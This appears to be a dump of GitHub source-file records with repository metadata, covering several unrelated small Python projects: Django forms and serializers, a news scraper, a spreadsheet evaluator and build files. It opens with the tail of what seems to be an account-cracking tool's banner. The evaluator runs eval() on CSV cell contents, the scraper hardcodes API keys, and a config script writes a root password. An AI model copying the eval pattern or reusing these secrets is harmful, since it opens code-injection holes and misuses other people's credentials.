╔══╗░░░░╔╦╗░░╔═════╗ harshu
║╚═╬════╬╣╠═╗║░▀░▀░║ indian
╠═╗║╔╗╔╗║║║╩╣║╚═══╝║ WhatsApp
╚══╩╝╚╝╚╩╩╩═╝╚═════╝ xxxxxxxxx
Checkpoint ID Open After 7 Days
•\033[1;91m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•.
: \033[1;93m .....harshudubey Kali.linux....... \033[1;91m :
•\033[1;91m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•.'
WhatsApp Num
\033[1;93m +xxxxxxxxx"""
raw_input("\n\033[1;92m[\033[1;91mBack\033[1;96m]")
menu()
if __name__ == '__main__':
login()
|
[
"noreply@github.com"
] |
harshudubey.noreply@github.com
|
64dacea4bbd3545e9a02839b932ed4f059fae753
|
d2b4cbf47cdbdc74a74c348043aaf8bef9b56904
|
/crepes_bretonnes/blog/templatetags/blog_random.py
|
3fc1ab132d150b73e8f383cef7a4a01b60358d82
|
[] |
no_license
|
chadyred/breton-py
|
25fbe08a3180d72a942ceaf4b2b04991b8868a1f
|
06b61b98ca2d7160fd236852c490faf3536bb5f8
|
refs/heads/master
| 2021-01-12T17:28:31.320452
| 2017-05-29T06:45:13
| 2017-05-29T06:45:13
| 71,578,361
| 0
| 0
| null | 2017-05-26T08:03:13
| 2016-10-21T15:35:13
|
Python
|
UTF-8
|
Python
| false
| false
| 329
|
py
|
#-*- coding: utf-8 -*-
from __future__ import unicode_literals
from random import randint
from django import template
register = template.Library()
@register.simple_tag
def random(begin, end):
try:
return randint(int(begin), int(end))
except Exception as e:
raise e + "Deux arguments int sont nécessaire"
|
[
"fcellier@norsys.fr"
] |
fcellier@norsys.fr
|
16df41a61ad44e7d25d5d072c4382cdc29cedec8
|
0f932e961983e310cf6c12608d55cfc526be55ad
|
/hw1.py
|
7b0de8e27706ce210cdfb6657974f387b15e604a
|
[] |
no_license
|
alexandrov-nikita/homework1_hse
|
00a65e738571858b1bd91065bba028138183dc21
|
e33365f987fdc21bd607572d8e46bce4bfcb7b77
|
refs/heads/master
| 2021-01-19T19:26:43.052243
| 2016-02-29T09:01:19
| 2016-02-29T09:01:19
| 52,109,922
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,915
|
py
|
import csv
import sys
import math
import imp
import os
def read_data(file_name):
return list(csv.reader(open(file_name, 'rt')))
def create_dictionary(data, output):
dict = {}
for index_row, row in enumerate(data):
for index_column, cell in enumerate(row):
if cell[0] != '=':
dict[chr(ord('A') + index_column) + str(index_row + 1)] = cell
return dict
def change_for_func(commands_list, module_name, cell):
new_cell = cell
for command in commands_list:
new_cell = new_cell.replace(command + '(', module_name + command + '(')
return new_cell
def calculate(dict, output):
for index_row, row in enumerate(data):
for index_column, cell in enumerate(row):
if cell[0] == '=':
cell = change_for_func(math_commands, 'math.', cell)
cell = change_for_func(module_commands, "module.", cell)
cell = cell[1:]
for known_cell, item in dict.items():
if item.isdigit() or item.replace('.', '' ,1).isdigit():
cell = cell.replace(known_cell, item)
else:
cell = cell.replace(known_cell, '\"' + item + '\"')
try:
output[index_row][index_column] = eval(cell)
except Exception as exc:
output[index_row][index_column] = "ERROR"
def write_data(output_name, output_table):
c = csv.writer(open(output_name, "w"))
for row in output_table:
c.writerow(row)
def module_preparation():
module_commands = []
for command in dir(module):
if command[0] != '_':
module_commands.append(command)
return module_commands
data = read_data(sys.argv[1])
if (len(sys.argv) > 3):
module_name = sys.argv[3]
module = imp.load_source(module_name, os.getcwd() + '/' + module_name)
module_commands = module_preparation()
else:
module_commands = []
output = data
dict = create_dictionary(data, output)
math_commands = dir(math)
calculate(dict, output)
write_data(sys.argv[2], output)
|
[
"alexandrov-nikita@yandex.ru"
] |
alexandrov-nikita@yandex.ru
|
002dc2a20200db290f59b8d827b0e30db0263dda
|
7f059f64638762a4af033553e10fe0707dacbbcc
|
/archive/python/backtracking/Permutation.py
|
5e1a1acae68632ca4dca1b31e355bf0a306c13d1
|
[
"MIT"
] |
permissive
|
sureleo/leetcode
|
df9099d895faaa7f14aa5c0309cbd603ccf22e2f
|
190b81817c7e7c564f5f1299b8c5638d10d2a511
|
refs/heads/master
| 2021-01-10T18:26:24.372568
| 2019-12-24T17:45:40
| 2019-12-24T17:45:40
| 28,789,872
| 1
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 657
|
py
|
class Solution:
# @param num, a list of integer
# @return a list of lists of integers
def __init__(self):
self.num = []
self.result = []
def permute(self, num):
self.num = num
self.dfs([], self.num)
return self.result
def dfs(self, valuelist, num_list):
if len(valuelist) == len(self.num):
self.result.append(valuelist)
return
for i in xrange(len(num_list)):
self.dfs(valuelist+[num_list[i]], num_list[0:i] + num_list[i+1:])
if __name__ == "__main__":
solution = Solution()
print solution.permute([1, 2, 3])
|
[
"surezeroleo@gmail.com"
] |
surezeroleo@gmail.com
|
e7e50b7844d4d1c49182d4a961b9980532ff96c3
|
d08c620cf5b9a2f3a55a45895bbd6586a020b74d
|
/foodcartapp/serializers.py
|
406ff0c23e81eb9b589cba585ae33500a6409474
|
[] |
no_license
|
TheEgid/starburger
|
a7b6d9c941852f135d466629e83d3f2ecfce1c96
|
9cfcb2a02fa7adb89c05c967933f4faa3bfb74e8
|
refs/heads/main
| 2023-07-07T18:00:54.962547
| 2021-08-14T08:27:48
| 2021-08-14T08:27:48
| 346,059,152
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 786
|
py
|
from phonenumber_field.serializerfields import PhoneNumberField
from rest_framework.serializers import ModelSerializer
from .models import Product, Order, OrderItem
class ProductSerializer(ModelSerializer):
class Meta:
model = Product
fields = ['id']
class OrderItemSerializer(ModelSerializer):
class Meta:
product = ProductSerializer(many=True)
model = OrderItem
fields = ['id', 'product', 'quantity', 'value']
class OrderSerializer(ModelSerializer):
products = OrderItemSerializer(many=True, write_only=True)
phonenumber = PhoneNumberField()
class Meta:
model = Order
write_only = ['products']
fields = ['id', 'firstname', 'lastname',
'products', 'address', 'phonenumber']
|
[
"egid.f1@gmail.com"
] |
egid.f1@gmail.com
|
cf841b76b1eb5e60fcea019a4d0aafa4043d1dfd
|
d778a0da8ab7157dc76d42a709367f37161fa565
|
/bookmarks/account/forms.py
|
35950adad9ed652ab900fc57d45ee98ce9f5d329
|
[] |
no_license
|
AmazingSkyLine/Django-By-Example-Project
|
86780b8a6e7e86ac0d881993dc7a6baae1b5a9b4
|
689f300169fba70da56e44ce4e8468df35f2f7a9
|
refs/heads/master
| 2021-05-12T09:52:06.624892
| 2018-02-28T16:24:26
| 2018-02-28T16:24:26
| 117,336,269
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,050
|
py
|
from django import forms
from django.contrib.auth.models import User
from .models import Profile
# 登录表单
class LoginForm(forms.Form):
username = forms.CharField(label="用户名")
password = forms.CharField(label="密码", widget=forms.PasswordInput)
# 注册表单
class UserRegistrationForm(forms.ModelForm):
password = forms.CharField(label="输入密码", widget=forms.PasswordInput)
password2 = forms.CharField(label="再次输入密码", widget=forms.PasswordInput)
class Meta:
model = User
fields = ('username', 'email', 'first_name')
def clean_password2(self):
cd = self.cleaned_data # 表单数据
if cd['password'] != cd['password2']:
raise forms.ValidationError('密码不匹配!')
return cd['password2']
class UserEditForm(forms.ModelForm):
class Meta:
model = User
fields = ('first_name', 'email')
class ProfileEditForm(forms.ModelForm):
class Meta:
model = Profile
fields = ('date_of_birth', 'photo')
|
[
"15002963138@163.com"
] |
15002963138@163.com
|
26430b17c1584bfa3251927a4d94dab96ff51f73
|
fc9f2add016408d650ef273d9fe113f96dda4f06
|
/sum.py
|
8fc0c4bfeb5b9eb965672ce157f566269ad13818
|
[] |
no_license
|
takatsugu21/gitTest
|
a973e99686b099652a32d54dda1c6c50e50bf071
|
9ecf525c982a55755547e01fc108c599f1e933c7
|
refs/heads/develop
| 2023-05-04T19:20:00.700738
| 2023-04-27T09:37:09
| 2023-04-27T09:37:09
| 339,895,009
| 0
| 0
| null | 2023-04-27T09:37:58
| 2021-02-18T00:43:58
|
Python
|
UTF-8
|
Python
| false
| false
| 35
|
py
|
answer: int = 1 + 2
print(answer)
|
[
"takyama@nttpc.co.jp"
] |
takyama@nttpc.co.jp
|
924ce17d10d664bfe831de2f8652c0305d50c24d
|
33546aee6429d5b8f19a02e14699b6ebb5b34af8
|
/src/ui/surface/surface.gyp
|
a6ad39b07e77af7c516496738acd933474cdbba8
|
[
"BSD-3-Clause"
] |
permissive
|
mYoda/CustomBrs
|
bdbf992c0db0bf2fd1821fa1fd0120ac77ffc011
|
493fc461eb7ea7321c51c6831fe737cfb21fdd3e
|
refs/heads/master
| 2022-11-22T09:11:37.873894
| 2022-11-10T10:02:49
| 2022-11-10T10:02:49
| 24,951,822
| 0
| 1
| null | 2022-11-02T14:39:34
| 2014-10-08T17:22:30
|
C++
|
UTF-8
|
Python
| false
| false
| 1,100
|
gyp
|
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'variables': {
'chromium_code': 1,
},
'target_defaults': {
'conditions': [
['use_x11 == 1', {
'include_dirs': [
'../../third_party/khronos',
],
}],
],
},
'targets': [
{
'target_name': 'surface',
'type': '<(component)',
'dependencies': [
'../../base/base.gyp:base',
'../../base/third_party/dynamic_annotations/dynamic_annotations.gyp:dynamic_annotations',
'../../skia/skia.gyp:skia',
'../base/ui_base.gyp:ui_base',
'../gfx/gfx.gyp:gfx_geometry',
'../gl/gl.gyp:gl',
],
'sources': [
'accelerated_surface_mac.cc',
'accelerated_surface_mac.h',
'surface_export.h',
'transport_dib.h',
'transport_dib.cc',
'transport_dib_posix.cc',
'transport_dib_win.cc',
],
'defines': [
'SURFACE_IMPLEMENTATION',
],
},
],
}
|
[
"nechayukanton@gmail.com"
] |
nechayukanton@gmail.com
|
0dacb01c1f22a603da98647bc57c25c62fc8e595
|
c64ed5cd5f60f1ad5def09fcc39655519cb6f09e
|
/resources/map/items.py
|
5f592669b5ee831bd807ebf077a46bee49a7eeb7
|
[] |
no_license
|
moonblade/WebGame
|
33f0f45047282d7c44e6a4ed8b4a79589f285ee3
|
45761c6e6ca383f991eacb919a9ab105a96cebd1
|
refs/heads/master
| 2022-12-16T06:05:25.307195
| 2021-05-29T14:44:52
| 2021-05-29T14:44:52
| 156,554,764
| 0
| 0
| null | 2022-12-03T21:01:05
| 2018-11-07T14:00:32
|
TypeScript
|
UTF-8
|
Python
| false
| false
| 331
|
py
|
#!/usr/bin/python
import os
outfile = 'items.png'
files = os.popen('ls ./items | sort -n').read()
files = ["items/" + x for x in files.split('\n') if len(x) > 0]
# files = [files.split('\n')[-1]] + files.split('\n')[:-1]
files = ' '.join(files)
# print(files)
command = 'convert ' + files + ' +append ' + outfile
os.system(command)
|
[
"moonblade168@gmail.com"
] |
moonblade168@gmail.com
|
a1b319d7316abd8fab6acf241849f8384c7b2092
|
31fae1d7ae1b3e5326db5935749ce2dd359e3827
|
/malabar/config.py
|
8cbcac8ccba4e2fe44b374cf34ab15582f8eaa48
|
[] |
no_license
|
tomrtc/pyotecmalabar
|
98fb4dde37a5753c6dffcd5eab703e174fb2a706
|
f49f5c8726dee54988d7b511e7f6287044009dec
|
refs/heads/master
| 2021-01-10T20:36:51.114167
| 2015-11-20T17:31:40
| 2015-11-20T17:31:40
| 42,729,090
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,017
|
py
|
import configparser
import click
import os
import pprint as pretty
CONFIGURATION_APPLICATION_PATH = click.get_app_dir('malabar')
CONFIGURATION_FILE_NAME = os.path.join(CONFIGURATION_APPLICATION_PATH,
'configuration.ini')
DEFAULT_GROUP = 'otec'
RSS_DATABASE_FILE_PATH = os.path.join(CONFIGURATION_APPLICATION_PATH,
'rss.db')
OTEC_TEMPLATE_RSS_URI = "http://cdafactory.pqa-collab.fr.alcatel-lucent.com/rss.php"
class OtecCfg:
def __init__(self, sfile, _interpolation):
self.configparser = configparser.ConfigParser(interpolation=_interpolation)
self.configparser.read(sfile)
def getDefaultSettings(self):
return self.getSettings(DEFAULT_GROUP)
def getSettings(self, group):
return self.configparser[group]
def get_configuration(config_file_name, interpolation=None):
return OtecCfg(config_file_name, interpolation)
def create_default_config_file():
genCFG = configparser.ConfigParser(allow_no_value=True,
interpolation=None)
genCFG[DEFAULT_GROUP] = {'; Warning autogenerated file, Must be reviewed': 'WARNING',
'rss-uri': OTEC_TEMPLATE_RSS_URI,
'host': 'bull6-05.fr.alcatel-lucent.com',
'; This should be a comment! ;-)':'Ornot',
'user': 'root',
'password': 'letacla',
'ovf-directory': '/tmp',
'Compression': 'yes'}
genCFG['SystemUnderTest'] = {}
if not os.path.exists(CONFIGURATION_APPLICATION_PATH):
os.makedirs(CONFIGURATION_APPLICATION_PATH)
with open(CONFIGURATION_FILE_NAME, 'w') as configfile:
genCFG.write(configfile)
|
[
"Remy.Tomasetto@alcatel-lucent.com"
] |
Remy.Tomasetto@alcatel-lucent.com
|
bb0dcab2d93ab44998895a25f23b7638074da429
|
32572cb805af797a3190311fdbe7b50c28f3e6ef
|
/reptilian.py
|
47087223257de45030d2387ef3c5bfbbfd9dd0f5
|
[] |
no_license
|
weiqifa0/python-weather
|
b629d10f9b8ab82bfe0cdaeddfb46b108caf32f3
|
b3eb06d67ad992a57d2b8ee91da30bb7868cc9b0
|
refs/heads/master
| 2020-03-29T01:02:36.175886
| 2018-09-19T00:34:47
| 2018-09-19T00:34:47
| 149,368,504
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 423
|
py
|
from getContent import *
from getData import *
from writeDate import *
if __name__ == '__main__':
url = 'http://www.weather.com.cn/weather/101210101.shtml'
html = getContent(url) # 调用获取网页信息
result = getData(html) # 解析网页信息，拿到需要的数据
writeData(result, 'E:/project/python/Reptilian/weather.csv') # 数据写入到 csv文档中
print('my frist python file')
|
[
"329410527@qq.comgit config --global user.name"
] |
329410527@qq.comgit config --global user.name
|
d0f805cd5b4c54300491e93aef4f4b816517393e
|
ea872f0a2bcc4270b7089120e3eb2f8dd32a165e
|
/Baxter/build/planning_baxter/catkin_generated/pkg.develspace.context.pc.py
|
e788f2c9fa75bd9400e0e1903a35e10d75c2678c
|
[] |
no_license
|
ZhenYaGuo/Warehouse-Robotic-System
|
2def137478911f499c45276aa3103a0b68ebb8d7
|
47b78d111b387102e29d2596bd5dc7c704f74f8f
|
refs/heads/master
| 2021-08-24T04:12:43.379580
| 2017-12-08T01:48:09
| 2017-12-08T01:48:09
| 113,405,332
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 415
|
py
|
# generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "planning_baxter"
PROJECT_SPACE_DIR = "/home/cc/ee106a/fa17/class/ee106a-aax/ros_workspaces/project/devel"
PROJECT_VERSION = "0.0.0"
|
[
"31947861+ZhenYaGuo@users.noreply.github.com"
] |
31947861+ZhenYaGuo@users.noreply.github.com
|
2c665d14bac78537c42bd9cb1e10069b7f4a285c
|
744bbf27f7e6f397e872a1a019d0c8eda46bf1e5
|
/subjects/migrations/0002_auto_20200728_0941.py
|
73128baef5afb2d787efd2b679f5434171cb5e9a
|
[] |
no_license
|
joesky-trojey/SchoolManagement
|
42d5d58dbabd58e0afbae77d922ea87d8c0ee3c6
|
46595fb52f9f4afcaacd042cfdf7903b08249011
|
refs/heads/master
| 2022-11-30T20:14:43.853513
| 2020-08-13T08:37:40
| 2020-08-13T08:37:40
| 287,223,237
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 677
|
py
|
# Generated by Django 3.0.8 on 2020-07-28 09:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('subjects', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='subject',
name='shorthand',
field=models.CharField(default=models.CharField(max_length=20, unique=True, verbose_name='Subject'), max_length=10, verbose_name="Subject's shorhand"),
),
migrations.AlterField(
model_name='subject',
name='optionality',
field=models.CharField(max_length=1, verbose_name='Optionality'),
),
]
|
[
"trojey@localhost.localdomain"
] |
trojey@localhost.localdomain
|
2a2b92ed730c26b01a26a8190e3a3db8eba1cd6e
|
c524baf320d12b456fa3b2c14127835df3cab567
|
/News_Feed_Generator/source_code/Files/scraping.py
|
524561349c0bf43d31396e5ba1f722cabac1ab0e
|
[] |
no_license
|
kapil123-git/News-Feed-Generator
|
3f7551bfa941bb08d5055c63b4c07931c0cb4797
|
883d68c068bc456c609d1de55e3eb8751102f68a
|
refs/heads/master
| 2023-03-14T22:06:14.762197
| 2021-03-30T17:45:15
| 2021-03-30T17:45:15
| 353,085,294
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,155
|
py
|
import requests
from bs4 import BeautifulSoup
import pandas as pd
from datetime import datetime
from tqdm import tqdm, tqdm_notebook
from functools import reduce
import os
def getSources():
source_url = 'https://newsapi.org/v1/sources?language=en'
response = requests.get(source_url).json()
sources = dict()
for source in response['sources']:
dct=source['id']
sources[dct]=source['category']
return sources
def mapping():
d = {}
response = requests.get('https://newsapi.org/v1/sources?language=en')
response = response.json()
i=0
for s in response['sources']:
lst=[]
lst.append(s['category'])
lst.append(s['name'])
lst.append(s['description'])
d[i]=lst
i+=1
return d
def category(source, m):
try:
return m[source]
except:
return 'NC'
def getDailyNews():
yt=0
surc = getSources()
sources=[]
sources=surc.keys()
#key='38d7369eff324b219b8c24cf22b5f5b0'
key='55feabfcd61c4f3e916b9f7cf24ba048'
url = 'https://newsapi.org/v1/articles?source={0}&sortBy={1}&apiKey={2}'
responses = []
final=[]
bus=0
tec=0
spt=0
ent=0
sci=0
grl=0
ttl_lst=[]
for i, source in tqdm_notebook(enumerate(sources), total=len(sources)):
# if surc[source] =='business':
# key='6dbb708e222a459ebec065c3e2066f77'
# elif surc[source]=='technology':
# key='54e59984b5b24a2d842697cc7c90bbaa'
# elif surc[source]=='science':
# key='b4a1bbaa682341eb8b4abc517f2f8b18'
# elif surc[source]=='sports':
# key='909518b5f3d44f9682eb3a3a3da65b70'
# elif surc[source]=='entertainment':
# key='828126b9d5ce49c397f56a616c0d56a3'
# else:
# key='59f46ecf5a5b4eefae15db1398f4a587'
u = url.format(source, 'top', key)
v= url.format(source, 'latest', key)
response = requests.get(u)
r = response.json()
response = requests.get(v)
s=response.json()
# print(r,"\n\n")
flag=''
fname=''
files=open('123.txt','w')
if r['status']=="error":
return "Done"
try:
for article in r['articles']:
# print("ARTICLES IS:",article,"\n\n")
img=article['urlToImage']
ttl=article['title']
descp=article['description']
# print("title: ",ttl,"\n\ndescp: ",descp)
# print(bus)
# bus+=1
if (ttl is None) or (descp is None):
pass
else:
if ttl not in ttl_lst:
# print("title: ",ttl,"\n\ndescp: ",descp)
f=surc[source]
#print(f)
if f=="business":
fname=os.path.dirname(os.path.abspath(__file__))+"/../../News_data/"+f+"/"+str(bus)+".txt"
bus+=1
flag='b'
elif f=='technology':
fname=os.path.dirname(os.path.abspath(__file__))+"/../../News_data/"+f+"/"+str(tec)+".txt"
tec+=1
flag='t'
elif f=='sports':
fname=os.path.dirname(os.path.abspath(__file__))+"/../../News_data/"+f+"/"+str(spt)+".txt"
spt+=1
flag='sp'
elif f=='entertainment':
fname=os.path.dirname(os.path.abspath(__file__))+"/../../News_data/"+f+"/"+str(ent)+".txt"
ent+=1
flag='e'
elif f=='science':
fname=os.path.dirname(os.path.abspath(__file__))+"/../../News_data/"+f+"/"+str(sci)+".txt"
sci+=1
flag='sc'
else:
fname=os.path.dirname(os.path.abspath(__file__))+"/../../News_data/"+f+"/"+str(grl)+".txt"
grl+=1
flag='g'
files = open(fname,'w')
# print(fname)
# print("before")
art=img+'\n'+ttl+'\n'+descp
ttl_lst.append(ttl)
files.write(art)
files.close()
except Exception as e:
files.close()
# print(fname)
os.remove(fname)
if flag=='b':
bus-=1
elif flag=='t':
tec-=1
elif flag=='sp':
spt-=1
elif flag=='e':
ent-=1
elif flag=='g':
grl-=1
else:
sci-=1
# print(e)
# articles = list(map(lambda r: r['articles'], responses))
# articles = list(reduce(lambda x,y: x+y, articles))
# news = pd.DataFrame(articles)
# news = news.dropna()
# news = news.drop_duplicates()
# news.reset_index(inplace=True, drop=True)
# jink = mapping()
# print(news)
# news['category'] = news['source'].map(lambda s: category(s, d))
# news['scraping_date'] = datetime.now()
# i=2
# print("news")
# jink=dict()
# for u,v in d.items():
# jink[u]=v
# print(jink)
# try:
# aux = pd.read_excel('news.xlsx')
# aux = aux.append(news)
# print("hello..")
# print(aux)
# aux = aux.drop_duplicates('url')
# aux.reset_index(inplace=True, drop=True)
# aux.to_excel('news.xlsx', encoding='utf-8', index=False)
# except:
# news.to_excel('news.xlsx', index=False, encoding='utf-8')
print('Done')
if __name__=='__main__':
getDailyNews()
|
[
"kapilsharmag99@gmail.com"
] |
kapilsharmag99@gmail.com
|
541499ca55be3f2e1263c133d3499ab8864a3f6e
|
0649c9b00358dd7b3ca418f7ce15ff88507ed6b3
|
/storage_data.py
|
bbaf647ccba897a5ed812da12c2ddb2007fc1b50
|
[] |
no_license
|
Aaron9477/sky_lake
|
9c9b7904dbd3e36a366508aa0d3beccedd7355d9
|
baaba25bc72c81cf0868136a623036529eb9a840
|
refs/heads/master
| 2021-08-08T00:02:03.903907
| 2017-11-09T06:54:31
| 2017-11-09T06:54:31
| 109,121,106
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 100
|
py
|
import src.utils as u
if __name__ == '__main__':
for m in u.get_malls():
u.get_data(m)
|
[
"869788668@qq.com"
] |
869788668@qq.com
|
c44fa50e6751f303019b95234a6cdbe51e7c54d4
|
c035076460b928695fcabd2fe5b286da45133a9c
|
/WordCount.py
|
6371398c39f8f4b8b57c7af99012f6bbb3bcf89a
|
[] |
no_license
|
ckimani/WordCount
|
2451500ee565fbf01b086e762db01f50088f5ba6
|
b979244251c94815bebec9bf0eb993bb92166557
|
refs/heads/master
| 2021-01-11T19:06:46.434958
| 2017-01-18T08:49:07
| 2017-01-18T08:49:07
| 79,319,324
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 616
|
py
|
def words(str):
#Function declaration that accepts a series of strings as an argument.
cnt = dict()
"""
Creating an empty dictionary data type, to hold the string
and the integer (The number of occurences as a pair).
"""
word = str.split()
#The split() function will take each string in the series as a separate entity.
#Analysis of each character in a string.
for char in word:
if char in cnt:
cnt[char] += 1
else:
cnt[char] = 1
return cnt
print( words('olly olly : ¿Qué in come free.'))
#Function call
|
[
"noreply@github.com"
] |
ckimani.noreply@github.com
|
ae98570c90dd3ee5fc9a254f560b3788e9a1a2e9
|
7e15ff5ffc93ffe8aacf3675e82f37ead51843a2
|
/main.py
|
6c9459540d31a451942dc9d8f0834beb4b4d0924
|
[] |
no_license
|
AP-MI-2021/lab-2-ale-stanciu
|
727532fdae7af58d17d90f3540f7f9f410dd1f99
|
5e471fdc5138dea5479658e83c1fbaf856e0b945
|
refs/heads/main
| 2023-08-31T20:06:53.338845
| 2021-10-06T06:37:31
| 2021-10-06T06:37:31
| 411,532,189
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,337
|
py
|
def is_palindrome(n):
"""
determina daca un numar este palindrom
:param n: un numar intreg
:return: True daca este palindrom sau False in caz contrar
"""
cn=n
oglindit=0
while cn!=0:
oglindit=cn%10+oglindit*10
cn=cn//10
if n==oglindit:
return True
return False
def test_is_palindrome():
assert (565) == True
assert (567) == False
def is_prime(n):
"""
determina daca un numar este prim
:param n: Un numar intreg
:return: True, daca n este prim, False in caz contrar
"""
if n<2:
return False
for i in range(2,n//2+1):
if n%i==0:
return False
return True
def is_superprime(n):
"""
determina daca un numar este superprim
:param n: un numar intreg
:return: True, daca n este superprim sau False in caz contrar
"""
while n!=0:
if is_prime(n)!=True:
return False
n=n//10
return True
def test_is_superprime():
assert (73) == True
assert (246) == False
def get_largest_prime_below(n):
"""
gaseste ultimul număr prim mai mic decât un număr dat
:param n: un numar intreg
:return: ultimul număr prim mai mic decât un număr dat
"""
for i in range(n-1, 2, -1):
if is_prime(i)==True:
return i
print("Nu exista un astfel de numar")
def test_get_largest_prime_below():
assert (3) == "Nu exista un astfel de numar"
assert (32) == 31
assert (10) == 7
def main():
shouldRun = True
while shouldRun:
print("1. Determină dacă un număr dat este palindrom.")
print("2. Determină dacă un număr este superprim: dacă toate prefixele sale sunt prime.")
print("3. Găsește ultimul număr prim mai mic decât un număr dat.")
optiune = input("Dati optiunea:")
if optiune == "1":
n = int(input("Dati un numar:"))
print(is_palindrome(n))
elif optiune == "2":
x = int(input("Dati un numar:"))
print(is_superprime(x))
elif optiune == "3":
a = int(input("Dati un numar:"))
print(get_largest_prime_below(a))
elif optiune == "x":
shouldRun = False
else:
print("optiune gresita!")
if __name__ == '__main__':
main()
|
[
"aleestanciu@gmail.com"
] |
aleestanciu@gmail.com
|
426610fdd1399339d2e3a2442398b51ab5209027
|
c5146f60c3a865050433229ba15c5339c59a9b68
|
/zhaquirks/plaid/__init__.py
|
203efe3bfb31a25162bfb3a165e8d609307592a0
|
[
"Apache-2.0"
] |
permissive
|
Shulyaka/zha-device-handlers
|
331505618a63691a86b83977b43508b0e3142af2
|
84d02be7abde55a6cee80fa155f0cbbc20347c40
|
refs/heads/dev
| 2023-02-22T10:17:09.000060
| 2023-02-04T15:57:17
| 2023-02-04T15:57:17
| 194,286,710
| 1
| 0
|
Apache-2.0
| 2023-02-04T22:59:20
| 2019-06-28T14:25:54
|
Python
|
UTF-8
|
Python
| false
| false
| 72
|
py
|
"""Quirks for Plaid Systems devices."""
PLAID_SYSTEMS = "PLAID SYSTEMS"
|
[
"noreply@github.com"
] |
Shulyaka.noreply@github.com
|
45be380484fe42397031b27daa726ba233ca0a75
|
1b66bcf36d7578c3b1dfb5b1ce1570aa46596072
|
/src/gameapp/round/controller.py
|
463728ed40731ec5f3b6700f0f698d67ba056882
|
[] |
no_license
|
germanoa/elyphoot
|
c8e2f225d0649bd522c52c97823bb895409ac2cf
|
8648a9584d5da03e31b899bad2db8842f0e50233
|
refs/heads/master
| 2016-09-10T19:02:45.576423
| 2012-06-22T22:06:08
| 2012-06-22T22:06:08
| 32,347,865
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,166
|
py
|
import gameapp.match.controller
import gameapp.season.controller
from gameapp.models import Round
def run_round(season, game_round):
if game_round is None or game_round.resolved:
return False
results = map(gameapp.match.controller.run_match, game_round.matches.all())
for r in results:
if r:
return True # algum match ainda nao esta resolvido
game_round.resolved = True
game_round.save()
if season is not None:
if game_round.round_number >= len(season.rounds.all()):
season.completed = True
season.current_round = None
season.winner = gameapp.season.controller.get_team_table(season, 1)[0]
else:
next_round = game_round.round_number + 1
season.current_round = season.rounds.get(round_number=next_round)
season.save()
return False # todos os matches resolvidos
def get_matches_for_serie(round, serie):
return round.matches.filter(serie=serie)
def create_rounds(season):
matches_serie_a = gameapp.match.controller.create_matches(season.teams.filter(serie=1))
matches_serie_b = gameapp.match.controller.create_matches(season.teams.filter(serie=2))
matches_serie_c = gameapp.match.controller.create_matches(season.teams.filter(serie=3))
matches_serie_d = gameapp.match.controller.create_matches(season.teams.filter(serie=4))
game_round = None
for match_count in range(len(matches_serie_a)):
if match_count % 4 == 0:
if game_round is not None:
game_round.save()
game_round = Round(round_number=((match_count / 4) + 1), \
resolved=False)
game_round.save()
season.rounds.add(game_round)
game_round.matches.add(matches_serie_a[match_count])
game_round.matches.add(matches_serie_b[match_count])
game_round.matches.add(matches_serie_c[match_count])
game_round.matches.add(matches_serie_d[match_count])
game_round.save()
season.current_round = season.rounds.get(round_number=1)
season.save()
|
[
"raphaelbaldi@gmail.com@cf4997be-b4d0-2e88-bcf9-847bdaf59e33"
] |
raphaelbaldi@gmail.com@cf4997be-b4d0-2e88-bcf9-847bdaf59e33
|
a2769b3ae31b35c5712c041a8a7d129ddd2971da
|
ef67ea9b7f450a4317553882a28205194dcd5a86
|
/ci/cib.py
|
80d7ee0ca2c404968a3a8db1a091a88d4a81bdf1
|
[] |
no_license
|
tp-tc/cloud-image-builder
|
a19c62a24a22fe140a58f3f50d5e734163c6cc26
|
430465adc63f5a0a7f0eda2f6e8f73949c08b34e
|
refs/heads/master
| 2022-12-01T17:45:41.404866
| 2020-05-07T21:32:19
| 2020-05-07T21:32:19
| 262,164,488
| 0
| 0
| null | 2020-05-07T21:41:35
| 2020-05-07T21:41:35
| null |
UTF-8
|
Python
| false
| false
| 11,383
|
py
|
import gzip
import json
import os
import urllib.request
import yaml
from datetime import datetime, timedelta
from cachetools import cached, TTLCache
cache = TTLCache(maxsize=100, ttl=300)
@cached(cache)
def getConfig(revision, key):
url = 'https://raw.githubusercontent.com/mozilla-platform-ops/cloud-image-builder/{}/config/{}.yaml'.format(revision, key)
return yaml.safe_load(urllib.request.urlopen(url).read().decode())
def updateRole(auth, configPath, roleId):
with open(configPath, 'r') as stream:
payload = yaml.safe_load(stream)
role = None
try:
role = auth.role(roleId = roleId)
except:
print('TASKCLUSTER_ROOT_URL:', os.environ['TASKCLUSTER_ROOT_URL'])
print('error:', sys.exc_info()[0])
if role:
print('info: role {} existence detected'.format(roleId))
auth.updateRole(roleId, payload)
print('info: role {} updated'.format(roleId))
else:
